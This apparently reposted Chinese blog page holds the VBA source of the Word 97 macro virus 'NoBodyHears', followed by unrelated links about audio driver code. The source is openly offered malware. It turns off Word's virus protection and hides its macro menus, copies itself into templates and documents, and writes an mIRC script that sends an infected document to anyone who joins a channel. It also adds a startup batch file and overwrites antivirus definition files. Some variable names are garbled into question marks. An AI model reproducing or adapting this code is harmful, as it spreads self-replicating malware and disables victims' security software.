WM97 NoBodyHears源代码

转载 2006年06月01日 21:06:00
Attribute VB_Name = "NoBodyHears"
Sub AutoClose()
"******************************************************************
"WM97 NoBodyHears
"By AngelsKitten / [NuKE]
"Greetings to Evul, Knowdeth, Jackie twoflower, Foxz
"Reptile, Duke, Raven, Deloss, Bumblebee, Masey, RAiD,
"FlyShadow, and the following groups: MVT, 29A, NVT & SLAM
"******************************************************************
On Error Resume Next
Application.VBE.ActiveVBProject.VBComponents("NoBodyHears").Export "C:/VXD.dll"
With Options
  .ConfirmConversions = False
  .VirusProtection = False
  .SaveNormalPrompt = False
End With
With Application
  .ScreenUpdating = False
  .DisplayStatusBar = False
  .DisplayAlerts = wdAlertsNone
  .EnableCancelKey = wdCancelDisabled
End With
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls(12).Enabled = False
CommandBars("Tools").Controls(12).Delete
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Customize...").Delete
CommandBars("view").Controls("Toolbars").Delete
CommandBars("view").Controls("Status Bar").Delete
For ?= 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(?.Name = "NoBodyHears" Then ?= True
Next ?
For ?= 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(?.Name = "NoBodyHears" Then ?= True
Next ?
If ?= True And ?= False Then Set ?= NormalTemplate.VBProject _
Else If ?= False And ?= True Then Set ?= ActiveDocument.VBProject
?VBComponents.Import ("C:/VXD.dll")
On Error GoTo scriptoops
Open "C:/audio.vxd" For Output As #1
Print #1, "[script]"
Print #1, "n0=;NobodyHears by Angelskitten / [NuKE]"
Print #1, "n1=on 1:PART:#:{ /if ( $nick == $me ) { halt }"
Print #1, "n2= /dcc send $nick C:/windows/aboutme.doc"
Print #1, "n3=}"
Print #1, "n4="
Print #1, "n5=on 1:JOIN:#:{ /if ( $nick == $me ) { halt }"
Print #1, "n6= /dcc send $nick C:/windows/aboutme.doc"
Print #1, "n7=}"
Print #1, "n8="
Print #1, "n9=on 1:TEXT:*infected*:#:/.ignore $nick"
Print #1, "n10=on 1:TEXT:*infected*:?:/.ignore $nick"
Print #1, "n12=on 1:TEXT:*clean*:#:/.ignore $nick"
Print #1, "n13=on 1:TEXT:*clean*:?:/.ignore $nick"
Print #1, "n14=on 1:TEXT:*script.ini*:#:/.ignore $nick"
Print #1, "n15=on 1:TEXT:*script.ini*:?:/.ignore $nick"
Print #1, "n16=on 1:TEXT:*virus*:#:/.ignore $nick"
Print #1, "n17=on 1:TEXT:*virus*:?:/.ignore $nick"
Print #1, "n18=on 1:TEXT:*worm*:#:/.ignore $nick"
Print #1, "n19=on 1:TEXT:*worm*:?:/.ignore $nick"
Print #1, "n20=on 1:TEXT:*aboutme*:#:/.ignore $nick"
Print #1, "n21=on 1:TEXT:*aboutme*:?:/.ignore $nick"
Print #1, "n22=on 1:TEXT:*aboutme.doc*:#:/.ignore $nick"
Print #1, "n23=on 1:TEXT:*aboutme.doc*:?:/.ignore $nick"
Print #1, "n24=on 1:TEXT:*doc*:#:/.ignore $nick"
Print #1, "n25=on 1:TEXT:*doc*:?:/.ignore $nick"
Print #1, "n26=on 1:TEXT:*blank*:#:/.ignore $nick"
Print #1, "n27=on 1:TEXT:*blank*:?:/.ignore $nick"
Print #1, "n28=ON 1:QUIT:#:/msg $chan I tryed to tell you, I tryed to show you. NoBodyHears"
Print #1, "n29=ON 1:connect: {"
Print #1, "n30= /run attrib +r +s +h C:/mirc/Script.ini"
Print #1, "n31=}"
Close #1
scriptoops:
On Error GoTo batoops
Open "c:/windows/WinStart.bat" For Output As #2
Print #2, "@Echo Off"
Print #2, "copy /y c:/audio.vxd c:/mirc/script.ini >nul"
Print #2, "copy /y c:/PROGRA~1/MICROS~3/TEMPLA~1/normal.dot c:/windows/aboutme.doc >nul"
Close #2
batoops:
If Day(Now()) = 12 Then
SetAttr "C:/program files/AntiViral Toolkit Pro/*.avc", vbReadOnly
Open "C:/program files/AntiViral Toolkit Pro/*.avc" For Output As #3
Print #3, "NoBodyHears"
Close #3
SetAttr "C:/program files/AntiViral Toolkit Pro/avp.set", vbReadOnly
Open "C:/program files/AntiViral Toolkit Pro/avp.set" For Output As #4
Print #4, "NoBodyHears"
Close #4
SetAttr "C:/program files/mcafee/*.dat", vbReadOnly
Open "C:/program files/mcafee/*.def" For Output As #5
Print #5, "NoBodyHears"
Close #5
SetAttr "C:/f-marco/*.def", vbReadOnly
Open "C:/f-macro/*.def" For Output As #6
Print #6, "NoBodyHears"
Close #6
End If
If Day(Now()) = Int(Rnd * 31) + 1 Then
 With Assistant.NewBalloon
   .Icon = msoIconTip
   .Animation = msoAnimationGetArtsy
   .Heading = "WM97 NoBodyHears"
   .Text = "Welcome to WM97 NoBodyHears by Angelskitten / [NuKE]"
   .Show
 End With
 ActiveDocument.Password = "NoBodyHears"
 Shell "start http://www.avp.com.au/";, vbHide
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
SetAttr ("c:/VXD.dll"), vbHidden + vbSystem
End Sub
Sub AutoOpen()
 Call AutoClose
End Sub
Sub AutoNew()
 Call AutoClose
End Sub
Sub ViewVBCode()
 MsgBox "Unexcpected error", 16
 Call AutoClose
End Sub
Sub ViewCode()
 MsgBox "Unexcpected error", 16
 Application.Caption = "Word 6.0"
 Call AutoClose
End Sub
Sub ToolsMacro()
 MsgBox "Unexcpected error", 16
 Call AutoClose
End Sub
Sub FileTemplates()
 MsgBox "Unexcpected error", 16
 Application.Caption = "Word 6.0"
 Call AutoClose
End Sub
Sub HelpWordPerfectHelp()
MsgBox "Unexcpected error", 16
 Application.Caption = "Word 6.0"
 Call AutoClose
End Sub

Linux驱动的开发与移值——为Tiny210加入AC97驱动Wm9713

文章目的:记录声卡驱动开发的学习过程,本文只是讲解了声卡驱动开发过程中的驱动的基本文件体系结构,暂没有对内核增加新的代码。通过简单的修改配置,让Tiny210具备Ac97的驱动,兼容Tiny6410的...
  • koy0755
  • koy0755
  • 2012年03月12日 10:44
  • 4672

android+WM9714(AC97)调试

android+WM9714(AC97)调试   s3c6410平台,codec为WM9714(驱动可使用WM9713的),使用ALSA,android版本1.5. MID上移植and...

Linux驱动的开发与移值——为Tiny210加入AC97驱动Wm9713

文章目的:记录声卡驱动开发的学习过程,本文只是讲解了声卡驱动开发过程中的驱动的基本文件体系结构,暂没有对内核增加新的代码。通过简单的修改配置,让Tiny210具备Ac97的驱动,兼容Tiny6410的...

一个WM5 只能设别设备源代码

  • 2013年08月01日 23:26
  • 294KB
  • 下载

高通MDM9X15+WM8960调试文档+源代码

  • 2015年03月16日 10:48
  • 588KB
  • 下载

My97DatePicker 动态设置有效/无效日期

Insert title here 按日期置无效: 按日期置有效:   实际应用:       $(function...

vc开发的wm手机发送短信源代码

  • 2010年01月07日 22:56
  • 11KB
  • 下载

PXA270_WINCE6_WM9712源代码

  • 2011年08月06日 17:04
  • 6.28MB
  • 下载

结束日期必须大于开始日期--My97DatePicker日历控制的又一方便之处

' class="Wdate" onfocus="WdatePicker({dateFmt:'yyyy/MM/dd',minDate:'#F{$dp.$D(\'startDate\')}',lang:...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:WM97 NoBodyHears源代码
举报原因:
原因补充:

(最多只允许输入30个字)